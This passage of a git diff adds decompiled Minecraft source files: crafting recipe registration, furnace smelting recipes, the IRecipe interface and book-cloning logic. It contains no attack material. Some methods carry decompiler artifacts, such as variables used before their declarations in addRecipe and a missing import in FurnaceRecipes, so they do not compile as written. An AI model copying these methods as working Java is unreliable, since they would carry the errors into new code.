+    addRecipe(new ItemStack(Blocks.wooden_slab, 6, 4 + BlockPlanks.EnumType.ACACIA.func_176839_a() - 4), new Object[] { "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.ACACIA.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.wooden_slab, 6, 4 + BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4), new Object[] { "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.ladder, 3), new Object[] { "# #", "###", "# #", Character.valueOf('#'), Items.stick });
+    addRecipe(new ItemStack(Items.oak_door, 3), new Object[] { "##", "##", "##", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.OAK.func_176839_a()) });
+    addRecipe(new ItemStack(Items.spruce_door, 3), new Object[] { "##", "##", "##", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()) });
+    addRecipe(new ItemStack(Items.birch_door, 3), new Object[] { "##", "##", "##", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()) });
+    addRecipe(new ItemStack(Items.jungle_door, 3), new Object[] { "##", "##", "##", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()) });
+    addRecipe(new ItemStack(Items.acacia_door, 3), new Object[] { "##", "##", "##", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.ACACIA.func_176839_a()) });
+    addRecipe(new ItemStack(Items.dark_oak_door, 3), new Object[] { "##", "##", "##", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.DARK_OAK.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.trapdoor, 2), new Object[] { "###", "###", Character.valueOf('#'), Blocks.planks });
+    addRecipe(new ItemStack(Items.iron_door, 3), new Object[] { "##", "##", "##", Character.valueOf('#'), Items.iron_ingot });
+    addRecipe(new ItemStack(Blocks.iron_trapdoor, 1), new Object[] { "##", "##", Character.valueOf('#'), Items.iron_ingot });
+    addRecipe(new ItemStack(Items.sign, 3), new Object[] { "###", "###", " X ", Character.valueOf('#'), Blocks.planks, Character.valueOf('X'), Items.stick });
+    addRecipe(new ItemStack(Items.cake, 1), new Object[] { "AAA", "BEB", "CCC", Character.valueOf('A'), Items.milk_bucket, Character.valueOf('B'), Items.sugar, Character.valueOf('C'), Items.wheat, Character.valueOf('E'), Items.egg });
+    addRecipe(new ItemStack(Items.sugar, 1), new Object[] { "#", Character.valueOf('#'), Items.reeds });
+    addRecipe(new ItemStack(Blocks.planks, 4, BlockPlanks.EnumType.OAK.func_176839_a()), new Object[] { "#", Character.valueOf('#'), new ItemStack(Blocks.log, 1, BlockPlanks.EnumType.OAK.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.planks, 4, BlockPlanks.EnumType.SPRUCE.func_176839_a()), new Object[] { "#", Character.valueOf('#'), new ItemStack(Blocks.log, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.planks, 4, BlockPlanks.EnumType.BIRCH.func_176839_a()), new Object[] { "#", Character.valueOf('#'), new ItemStack(Blocks.log, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.planks, 4, BlockPlanks.EnumType.JUNGLE.func_176839_a()), new Object[] { "#", Character.valueOf('#'), new ItemStack(Blocks.log, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.planks, 4, 4 + BlockPlanks.EnumType.ACACIA.func_176839_a() - 4), new Object[] { "#", Character.valueOf('#'), new ItemStack(Blocks.log2, 1, BlockPlanks.EnumType.ACACIA.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.planks, 4, 4 + BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4), new Object[] { "#", Character.valueOf('#'), new ItemStack(Blocks.log2, 1, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Items.stick, 4), new Object[] { "#", "#", Character.valueOf('#'), Blocks.planks });
+    addRecipe(new ItemStack(Blocks.torch, 4), new Object[] { "X", "#", Character.valueOf('X'), Items.coal, Character.valueOf('#'), Items.stick });
+    addRecipe(new ItemStack(Blocks.torch, 4), new Object[] { "X", "#", Character.valueOf('X'), new ItemStack(Items.coal, 1, 1), Character.valueOf('#'), Items.stick });
+    addRecipe(new ItemStack(Items.bowl, 4), new Object[] { "# #", " # ", Character.valueOf('#'), Blocks.planks });
+    addRecipe(new ItemStack(Items.glass_bottle, 3), new Object[] { "# #", " # ", Character.valueOf('#'), Blocks.glass });
+    addRecipe(new ItemStack(Blocks.rail, 16), new Object[] { "X X", "X#X", "X X", Character.valueOf('X'), Items.iron_ingot, Character.valueOf('#'), Items.stick });
+    addRecipe(new ItemStack(Blocks.golden_rail, 6), new Object[] { "X X", "X#X", "XRX", Character.valueOf('X'), Items.gold_ingot, Character.valueOf('R'), Items.redstone, Character.valueOf('#'), Items.stick });
+    addRecipe(new ItemStack(Blocks.activator_rail, 6), new Object[] { "XSX", "X#X", "XSX", Character.valueOf('X'), Items.iron_ingot, Character.valueOf('#'), Blocks.redstone_torch, Character.valueOf('S'), Items.stick });
+    addRecipe(new ItemStack(Blocks.detector_rail, 6), new Object[] { "X X", "X#X", "XRX", Character.valueOf('X'), Items.iron_ingot, Character.valueOf('R'), Items.redstone, Character.valueOf('#'), Blocks.stone_pressure_plate });
+    addRecipe(new ItemStack(Items.minecart, 1), new Object[] { "# #", "###", Character.valueOf('#'), Items.iron_ingot });
+    addRecipe(new ItemStack(Items.cauldron, 1), new Object[] { "# #", "# #", "###", Character.valueOf('#'), Items.iron_ingot });
+    addRecipe(new ItemStack(Items.brewing_stand, 1), new Object[] { " B ", "###", Character.valueOf('#'), Blocks.cobblestone, Character.valueOf('B'), Items.blaze_rod });
+    addRecipe(new ItemStack(Blocks.lit_pumpkin, 1), new Object[] { "A", "B", Character.valueOf('A'), Blocks.pumpkin, Character.valueOf('B'), Blocks.torch });
+    addRecipe(new ItemStack(Items.chest_minecart, 1), new Object[] { "A", "B", Character.valueOf('A'), Blocks.chest, Character.valueOf('B'), Items.minecart });
+    addRecipe(new ItemStack(Items.furnace_minecart, 1), new Object[] { "A", "B", Character.valueOf('A'), Blocks.furnace, Character.valueOf('B'), Items.minecart });
+    addRecipe(new ItemStack(Items.tnt_minecart, 1), new Object[] { "A", "B", Character.valueOf('A'), Blocks.tnt, Character.valueOf('B'), Items.minecart });
+    addRecipe(new ItemStack(Items.hopper_minecart, 1), new Object[] { "A", "B", Character.valueOf('A'), Blocks.hopper, Character.valueOf('B'), Items.minecart });
+    addRecipe(new ItemStack(Items.boat, 1), new Object[] { "# #", "###", Character.valueOf('#'), Blocks.planks });
+    addRecipe(new ItemStack(Items.bucket, 1), new Object[] { "# #", " # ", Character.valueOf('#'), Items.iron_ingot });
+    addRecipe(new ItemStack(Items.flower_pot, 1), new Object[] { "# #", " # ", Character.valueOf('#'), Items.brick });
+    addShapelessRecipe(new ItemStack(Items.flint_and_steel, 1), new Object[] { new ItemStack(Items.iron_ingot, 1), new ItemStack(Items.flint, 1) });
+    addRecipe(new ItemStack(Items.bread, 1), new Object[] { "###", Character.valueOf('#'), Items.wheat });
+    addRecipe(new ItemStack(Blocks.oak_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.OAK.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.birch_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.BIRCH.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.spruce_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.SPRUCE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.jungle_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, BlockPlanks.EnumType.JUNGLE.func_176839_a()) });
+    addRecipe(new ItemStack(Blocks.acacia_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.ACACIA.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Blocks.dark_oak_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), new ItemStack(Blocks.planks, 1, 4 + BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4) });
+    addRecipe(new ItemStack(Items.fishing_rod, 1), new Object[] { "  #", " #X", "# X", Character.valueOf('#'), Items.stick, Character.valueOf('X'), Items.string });
+    addRecipe(new ItemStack(Items.carrot_on_a_stick, 1), new Object[] { "# ", " X", Character.valueOf('#'), Items.fishing_rod, Character.valueOf('X'), Items.carrot }).func_92100_c();
+    addRecipe(new ItemStack(Blocks.stone_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), Blocks.cobblestone });
+    addRecipe(new ItemStack(Blocks.brick_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), Blocks.brick_block });
+    addRecipe(new ItemStack(Blocks.stone_brick_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), Blocks.stonebrick });
+    addRecipe(new ItemStack(Blocks.nether_brick_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), Blocks.nether_brick });
+    addRecipe(new ItemStack(Blocks.sandstone_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), Blocks.sandstone });
+    addRecipe(new ItemStack(Blocks.red_sandstone_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), Blocks.red_sandstone });
+    addRecipe(new ItemStack(Blocks.quartz_stairs, 4), new Object[] { "#  ", "## ", "###", Character.valueOf('#'), Blocks.quartz_block });
+    addRecipe(new ItemStack(Items.painting, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Items.stick, Character.valueOf('X'), Blocks.wool });
+    addRecipe(new ItemStack(Items.item_frame, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Items.stick, Character.valueOf('X'), Items.leather });
+    addRecipe(new ItemStack(Items.golden_apple, 1, 0), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Items.gold_ingot, Character.valueOf('X'), Items.apple });
+    addRecipe(new ItemStack(Items.golden_apple, 1, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Blocks.gold_block, Character.valueOf('X'), Items.apple });
+    addRecipe(new ItemStack(Items.golden_carrot, 1, 0), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Items.gold_nugget, Character.valueOf('X'), Items.carrot });
+    addRecipe(new ItemStack(Items.speckled_melon, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Items.gold_nugget, Character.valueOf('X'), Items.melon });
+    addRecipe(new ItemStack(Blocks.lever, 1), new Object[] { "X", "#", Character.valueOf('#'), Blocks.cobblestone, Character.valueOf('X'), Items.stick });
+    addRecipe(new ItemStack(Blocks.tripwire_hook, 2), new Object[] { "I", "S", "#", Character.valueOf('#'), Blocks.planks, Character.valueOf('S'), Items.stick, Character.valueOf('I'), Items.iron_ingot });
+    addRecipe(new ItemStack(Blocks.redstone_torch, 1), new Object[] { "X", "#", Character.valueOf('#'), Items.stick, Character.valueOf('X'), Items.redstone });
+    addRecipe(new ItemStack(Items.repeater, 1), new Object[] { "#X#", "III", Character.valueOf('#'), Blocks.redstone_torch, Character.valueOf('X'), Items.redstone, Character.valueOf('I'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.STONE.getMetaFromState()) });
+    addRecipe(new ItemStack(Items.comparator, 1), new Object[] { " # ", "#X#", "III", Character.valueOf('#'), Blocks.redstone_torch, Character.valueOf('X'), Items.quartz, Character.valueOf('I'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.STONE.getMetaFromState()) });
+    addRecipe(new ItemStack(Items.clock, 1), new Object[] { " # ", "#X#", " # ", Character.valueOf('#'), Items.gold_ingot, Character.valueOf('X'), Items.redstone });
+    addRecipe(new ItemStack(Items.compass, 1), new Object[] { " # ", "#X#", " # ", Character.valueOf('#'), Items.iron_ingot, Character.valueOf('X'), Items.redstone });
+    addRecipe(new ItemStack(Items.map, 1), new Object[] { "###", "#X#", "###", Character.valueOf('#'), Items.paper, Character.valueOf('X'), Items.compass });
+    addRecipe(new ItemStack(Blocks.stone_button, 1), new Object[] { "#", Character.valueOf('#'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.STONE.getMetaFromState()) });
+    addRecipe(new ItemStack(Blocks.wooden_button, 1), new Object[] { "#", Character.valueOf('#'), Blocks.planks });
+    addRecipe(new ItemStack(Blocks.stone_pressure_plate, 1), new Object[] { "##", Character.valueOf('#'), new ItemStack(Blocks.stone, 1, BlockStone.EnumType.STONE.getMetaFromState()) });
+    addRecipe(new ItemStack(Blocks.wooden_pressure_plate, 1), new Object[] { "##", Character.valueOf('#'), Blocks.planks });
+    addRecipe(new ItemStack(Blocks.heavy_weighted_pressure_plate, 1), new Object[] { "##", Character.valueOf('#'), Items.iron_ingot });
+    addRecipe(new ItemStack(Blocks.light_weighted_pressure_plate, 1), new Object[] { "##", Character.valueOf('#'), Items.gold_ingot });
+    addRecipe(new ItemStack(Blocks.dispenser, 1), new Object[] { "###", "#X#", "#R#", Character.valueOf('#'), Blocks.cobblestone, Character.valueOf('X'), Items.bow, Character.valueOf('R'), Items.redstone });
+    addRecipe(new ItemStack(Blocks.dropper, 1), new Object[] { "###", "# #", "#R#", Character.valueOf('#'), Blocks.cobblestone, Character.valueOf('R'), Items.redstone });
+    addRecipe(new ItemStack(Blocks.piston, 1), new Object[] { "TTT", "#X#", "#R#", Character.valueOf('#'), Blocks.cobblestone, Character.valueOf('X'), Items.iron_ingot, Character.valueOf('R'), Items.redstone, Character.valueOf('T'), Blocks.planks });
+    addRecipe(new ItemStack(Blocks.sticky_piston, 1), new Object[] { "S", "P", Character.valueOf('S'), Items.slime_ball, Character.valueOf('P'), Blocks.piston });
+    addRecipe(new ItemStack(Items.bed, 1), new Object[] { "###", "XXX", Character.valueOf('#'), Blocks.wool, Character.valueOf('X'), Blocks.planks });
+    addRecipe(new ItemStack(Blocks.enchanting_table, 1), new Object[] { " B ", "D#D", "###", Character.valueOf('#'), Blocks.obsidian, Character.valueOf('B'), Items.book, Character.valueOf('D'), Items.diamond });
+    addRecipe(new ItemStack(Blocks.anvil, 1), new Object[] { "III", " i ", "iii", Character.valueOf('I'), Blocks.iron_block, Character.valueOf('i'), Items.iron_ingot });
+    addRecipe(new ItemStack(Items.leather), new Object[] { "##", "##", Character.valueOf('#'), Items.rabbit_hide });
+    addShapelessRecipe(new ItemStack(Items.ender_eye, 1), new Object[] { Items.ender_pearl, Items.blaze_powder });
+    addShapelessRecipe(new ItemStack(Items.fire_charge, 3), new Object[] { Items.gunpowder, Items.blaze_powder, Items.coal });
+    addShapelessRecipe(new ItemStack(Items.fire_charge, 3), new Object[] { Items.gunpowder, Items.blaze_powder, new ItemStack(Items.coal, 1, 1) });
+    addRecipe(new ItemStack(Blocks.daylight_detector), new Object[] { "GGG", "QQQ", "WWW", Character.valueOf('G'), Blocks.glass, Character.valueOf('Q'), Items.quartz, Character.valueOf('W'), Blocks.wooden_slab });
+    addRecipe(new ItemStack(Blocks.hopper), new Object[] { "I I", "ICI", " I ", Character.valueOf('I'), Items.iron_ingot, Character.valueOf('C'), Blocks.chest });
+    addRecipe(new ItemStack(Items.armor_stand, 1), new Object[] { "///", " / ", "/_/", Character.valueOf('/'), Items.stick, Character.valueOf('_'), new ItemStack(Blocks.stone_slab, 1, BlockStoneSlab.EnumType.STONE.func_176624_a()) });
+    Collections.sort(recipes, new Comparator()
+    {
+      private static final String __OBFID = "CL_00000091";
+      
+      public int compare(IRecipe p_compare_1_, IRecipe p_compare_2_) {
+        return p_compare_2_.getRecipeSize() > p_compare_1_.getRecipeSize() ? 1 : p_compare_2_.getRecipeSize() < p_compare_1_.getRecipeSize() ? -1 : ((p_compare_2_ instanceof ShapelessRecipes)) && ((p_compare_1_ instanceof ShapedRecipes)) ? -1 : ((p_compare_1_ instanceof ShapelessRecipes)) && ((p_compare_2_ instanceof ShapedRecipes)) ? 1 : 0;
+      }
+      
+      public int compare(Object p_compare_1_, Object p_compare_2_) {
+        return compare((IRecipe)p_compare_1_, (IRecipe)p_compare_2_);
+      }
+    });
+  }
+  
+  public ShapedRecipes addRecipe(ItemStack p_92103_1_, Object... p_92103_2_)
+  {
+    String var3 = "";
+    int var4 = 0;
+    int var5 = 0;
+    int var6 = 0;
+    
+    if ((p_92103_2_[var4] instanceof String[]))
+    {
+      var7 = (String[])p_92103_2_[(var4++)];
+      
+      for (var8 = 0; var8 < var7.length; var8++)
+      {
+        var9 = var7[var8];
+        var6++;
+        var5 = var9.length();
+        var3 = var3 + var9;
+      }
+    }
+    else
+    {
+      while ((p_92103_2_[var4] instanceof String)) { String[] var7;
+        int var8;
+        String var9; String var11 = (String)p_92103_2_[(var4++)];
+        var6++;
+        var5 = var11.length();
+        var3 = var3 + var11;
+      }
+    }
+    
+
+
+    for (HashMap var12 = Maps.newHashMap(); var4 < p_92103_2_.length; var4 += 2)
+    {
+      Character var13 = (Character)p_92103_2_[var4];
+      ItemStack var15 = null;
+      
+      if ((p_92103_2_[(var4 + 1)] instanceof Item))
+      {
+        var15 = new ItemStack((Item)p_92103_2_[(var4 + 1)]);
+      }
+      else if ((p_92103_2_[(var4 + 1)] instanceof Block))
+      {
+        var15 = new ItemStack((Block)p_92103_2_[(var4 + 1)], 1, 32767);
+      }
+      else if ((p_92103_2_[(var4 + 1)] instanceof ItemStack))
+      {
+        var15 = (ItemStack)p_92103_2_[(var4 + 1)];
+      }
+      
+      var12.put(var13, var15);
+    }
+    
+    ItemStack[] var14 = new ItemStack[var5 * var6];
+    
+    for (int var16 = 0; var16 < var5 * var6; var16++)
+    {
+      char var10 = var3.charAt(var16);
+      
+      if (var12.containsKey(Character.valueOf(var10)))
+      {
+        var14[var16] = ((ItemStack)var12.get(Character.valueOf(var10))).copy();
+      }
+      else
+      {
+        var14[var16] = null;
+      }
+    }
+    
+    ShapedRecipes var17 = new ShapedRecipes(var5, var6, var14, p_92103_1_);
+    recipes.add(var17);
+    return var17;
+  }
+  
+  public void addShapelessRecipe(ItemStack p_77596_1_, Object... p_77596_2_)
+  {
+    ArrayList var3 = Lists.newArrayList();
+    Object[] var4 = p_77596_2_;
+    int var5 = p_77596_2_.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      Object var7 = var4[var6];
+      
+      if ((var7 instanceof ItemStack))
+      {
+        var3.add(((ItemStack)var7).copy());
+      }
+      else if ((var7 instanceof Item))
+      {
+        var3.add(new ItemStack((Item)var7));
+      }
+      else
+      {
+        if (!(var7 instanceof Block))
+        {
+          throw new IllegalArgumentException("Invalid shapeless recipe: unknown type " + var7.getClass().getName() + "!");
+        }
+        
+        var3.add(new ItemStack((Block)var7));
+      }
+    }
+    
+    recipes.add(new ShapelessRecipes(p_77596_1_, var3));
+  }
+  
+  public void func_180302_a(IRecipe p_180302_1_)
+  {
+    recipes.add(p_180302_1_);
+  }
+  
+  public ItemStack findMatchingRecipe(InventoryCrafting p_82787_1_, World worldIn)
+  {
+    Iterator var3 = recipes.iterator();
+    
+    IRecipe var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return null;
+      }
+      
+      var4 = (IRecipe)var3.next();
+    }
+    while (!var4.matches(p_82787_1_, worldIn));
+    
+    return var4.getCraftingResult(p_82787_1_);
+  }
+  
+  public ItemStack[] func_180303_b(InventoryCrafting p_180303_1_, World worldIn)
+  {
+    Iterator var3 = recipes.iterator();
+    
+    while (var3.hasNext())
+    {
+      IRecipe var4 = (IRecipe)var3.next();
+      
+      if (var4.matches(p_180303_1_, worldIn))
+      {
+        return var4.func_179532_b(p_180303_1_);
+      }
+    }
+    
+    ItemStack[] var5 = new ItemStack[p_180303_1_.getSizeInventory()];
+    
+    for (int var6 = 0; var6 < var5.length; var6++)
+    {
+      var5[var6] = p_180303_1_.getStackInSlot(var6);
+    }
+    
+    return var5;
+  }
+  
+
+
+
+  public List getRecipeList()
+  {
+    return recipes;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/FurnaceRecipes.java b/src/minecraft/net/minecraft/item/crafting/FurnaceRecipes.java
new file mode 100644
index 0000000..c712d6e
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/FurnaceRecipes.java
@@ -0,0 +1,137 @@
+package net.minecraft.item.crafting;
+
+import com.google.common.collect.Maps;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.block.Block;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemFishFood.FishType;
+import net.minecraft.item.ItemStack;
+
+public class FurnaceRecipes
+{
+  private static final FurnaceRecipes smeltingBase = new FurnaceRecipes();
+  
+
+  private Map smeltingList = Maps.newHashMap();
+  private Map experienceList = Maps.newHashMap();
+  private static final String __OBFID = "CL_00000085";
+  
+  public static FurnaceRecipes instance()
+  {
+    return smeltingBase;
+  }
+  
+  private FurnaceRecipes()
+  {
+    addSmeltingRecipeForBlock(Blocks.iron_ore, new ItemStack(Items.iron_ingot), 0.7F);
+    addSmeltingRecipeForBlock(Blocks.gold_ore, new ItemStack(Items.gold_ingot), 1.0F);
+    addSmeltingRecipeForBlock(Blocks.diamond_ore, new ItemStack(Items.diamond), 1.0F);
+    addSmeltingRecipeForBlock(Blocks.sand, new ItemStack(Blocks.glass), 0.1F);
+    addSmelting(Items.porkchop, new ItemStack(Items.cooked_porkchop), 0.35F);
+    addSmelting(Items.beef, new ItemStack(Items.cooked_beef), 0.35F);
+    addSmelting(Items.chicken, new ItemStack(Items.cooked_chicken), 0.35F);
+    addSmelting(Items.rabbit, new ItemStack(Items.cooked_rabbit), 0.35F);
+    addSmelting(Items.mutton, new ItemStack(Items.cooked_mutton), 0.35F);
+    addSmeltingRecipeForBlock(Blocks.cobblestone, new ItemStack(Blocks.stone), 0.1F);
+    addSmeltingRecipe(new ItemStack(Blocks.stonebrick, 1, net.minecraft.block.BlockStoneBrick.DEFAULT_META), new ItemStack(Blocks.stonebrick, 1, net.minecraft.block.BlockStoneBrick.CRACKED_META), 0.1F);
+    addSmelting(Items.clay_ball, new ItemStack(Items.brick), 0.3F);
+    addSmeltingRecipeForBlock(Blocks.clay, new ItemStack(Blocks.hardened_clay), 0.35F);
+    addSmeltingRecipeForBlock(Blocks.cactus, new ItemStack(Items.dye, 1, EnumDyeColor.GREEN.getDyeColorDamage()), 0.2F);
+    addSmeltingRecipeForBlock(Blocks.log, new ItemStack(Items.coal, 1, 1), 0.15F);
+    addSmeltingRecipeForBlock(Blocks.log2, new ItemStack(Items.coal, 1, 1), 0.15F);
+    addSmeltingRecipeForBlock(Blocks.emerald_ore, new ItemStack(Items.emerald), 1.0F);
+    addSmelting(Items.potato, new ItemStack(Items.baked_potato), 0.35F);
+    addSmeltingRecipeForBlock(Blocks.netherrack, new ItemStack(Items.netherbrick), 0.1F);
+    addSmeltingRecipe(new ItemStack(Blocks.sponge, 1, 1), new ItemStack(Blocks.sponge, 1, 0), 0.15F);
+    ItemFishFood.FishType[] var1 = ItemFishFood.FishType.values();
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      ItemFishFood.FishType var4 = var1[var3];
+      
+      if (var4.getCookable())
+      {
+        addSmeltingRecipe(new ItemStack(Items.fish, 1, var4.getItemDamage()), new ItemStack(Items.cooked_fish, 1, var4.getItemDamage()), 0.35F);
+      }
+    }
+    
+    addSmeltingRecipeForBlock(Blocks.coal_ore, new ItemStack(Items.coal), 0.1F);
+    addSmeltingRecipeForBlock(Blocks.redstone_ore, new ItemStack(Items.redstone), 0.7F);
+    addSmeltingRecipeForBlock(Blocks.lapis_ore, new ItemStack(Items.dye, 1, EnumDyeColor.BLUE.getDyeColorDamage()), 0.2F);
+    addSmeltingRecipeForBlock(Blocks.quartz_ore, new ItemStack(Items.quartz), 0.2F);
+  }
+  
+  public void addSmeltingRecipeForBlock(Block p_151393_1_, ItemStack p_151393_2_, float p_151393_3_)
+  {
+    addSmelting(Item.getItemFromBlock(p_151393_1_), p_151393_2_, p_151393_3_);
+  }
+  
+  public void addSmelting(Item p_151396_1_, ItemStack p_151396_2_, float p_151396_3_)
+  {
+    addSmeltingRecipe(new ItemStack(p_151396_1_, 1, 32767), p_151396_2_, p_151396_3_);
+  }
+  
+  public void addSmeltingRecipe(ItemStack p_151394_1_, ItemStack p_151394_2_, float p_151394_3_)
+  {
+    smeltingList.put(p_151394_1_, p_151394_2_);
+    experienceList.put(p_151394_2_, Float.valueOf(p_151394_3_));
+  }
+  
+
+
+
+  public ItemStack getSmeltingResult(ItemStack p_151395_1_)
+  {
+    Iterator var2 = smeltingList.entrySet().iterator();
+    
+    Map.Entry var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (Map.Entry)var2.next();
+    }
+    while (!func_151397_a(p_151395_1_, (ItemStack)var3.getKey()));
+    
+    return (ItemStack)var3.getValue();
+  }
+  
+  private boolean func_151397_a(ItemStack p_151397_1_, ItemStack p_151397_2_)
+  {
+    return (p_151397_2_.getItem() == p_151397_1_.getItem()) && ((p_151397_2_.getMetadata() == 32767) || (p_151397_2_.getMetadata() == p_151397_1_.getMetadata()));
+  }
+  
+  public Map getSmeltingList()
+  {
+    return smeltingList;
+  }
+  
+  public float getSmeltingExperience(ItemStack p_151398_1_)
+  {
+    Iterator var2 = experienceList.entrySet().iterator();
+    
+    Map.Entry var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return 0.0F;
+      }
+      
+      var3 = (Map.Entry)var2.next();
+    }
+    while (!func_151397_a(p_151398_1_, (ItemStack)var3.getKey()));
+    
+    return ((Float)var3.getValue()).floatValue();
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/IRecipe.java b/src/minecraft/net/minecraft/item/crafting/IRecipe.java
new file mode 100644
index 0000000..b348fa0
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/IRecipe.java
@@ -0,0 +1,18 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.ItemStack;
+import net.minecraft.world.World;
+
+public abstract interface IRecipe
+{
+  public abstract boolean matches(InventoryCrafting paramInventoryCrafting, World paramWorld);
+  
+  public abstract ItemStack getCraftingResult(InventoryCrafting paramInventoryCrafting);
+  
+  public abstract int getRecipeSize();
+  
+  public abstract ItemStack getRecipeOutput();
+  
+  public abstract ItemStack[] func_179532_b(InventoryCrafting paramInventoryCrafting);
+}
diff --git a/src/minecraft/net/minecraft/item/crafting/RecipeBookCloning.java b/src/minecraft/net/minecraft/item/crafting/RecipeBookCloning.java
new file mode 100644
index 0000000..5b6bcd5
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/crafting/RecipeBookCloning.java
@@ -0,0 +1,136 @@
+package net.minecraft.item.crafting;
+
+import net.minecraft.init.Items;
+import net.minecraft.inventory.InventoryCrafting;
+import net.minecraft.item.ItemEditableBook;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.world.World;
+
+public class RecipeBookCloning
+  implements IRecipe
+{
+  private static final String __OBFID = "CL_00000081";
+  
+  public RecipeBookCloning() {}
+  
+  public boolean matches(InventoryCrafting p_77569_1_, World worldIn)
+  {
+    int var3 = 0;
+    ItemStack var4 = null;
+    
+    for (int var5 = 0; var5 < p_77569_1_.getSizeInventory(); var5++)
+    {
+      ItemStack var6 = p_77569_1_.getStackInSlot(var5);
+      
+      if (var6 != null)
+      {
+        if (var6.getItem() == Items.written_book)
+        {
+          if (var4 != null)
+          {
+            return false;
+          }
+          
+          var4 = var6;
+        }
+        else
+        {
+          if (var6.getItem() != Items.writable_book)
+          {
+            return false;
+          }
+          
+          var3++;
+        }
+      }
+    }
+    
+    return (var4 != null) && (var3 > 0);
+  }
+  
+
+
+
+  public ItemStack getCraftingResult(InventoryCrafting p_77572_1_)
+  {
+    int var2 = 0;
+    ItemStack var3 = null;
+    
+    for (int var4 = 0; var4 < p_77572_1_.getSizeInventory(); var4++)
+    {
+      ItemStack var5 = p_77572_1_.getStackInSlot(var4);
+      
+      if (var5 != null)
+      {
+        if (var5.getItem() == Items.written_book)
+        {
+          if (var3 != null)
+          {
+            return null;
+          }
+          
+          var3 = var5;
+        }
+        else
+        {
+          if (var5.getItem() != Items.writable_book)
+          {
+            return null;
+          }
+          
+          var2++;
+        }
+      }
+    }
+    
+    if ((var3 != null) && (var2 >= 1) && (ItemEditableBook.func_179230_h(var3) < 2))
+    {
+      ItemStack var6 = new ItemStack(Items.written_book, var2);
+      var6.setTagCompound((NBTTagCompound)var3.getTagCompound().copy());
+      var6.getTagCompound().setInteger("generation", ItemEditableBook.func_179230_h(var3) + 1);
+      
+      if (var3.hasDisplayName())
+      {
+        var6.setStackDisplayName(var3.getDisplayName());
+      }
+      
+      return var6;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public int getRecipeSize()
+  {
+    return 9;
+  }
+  
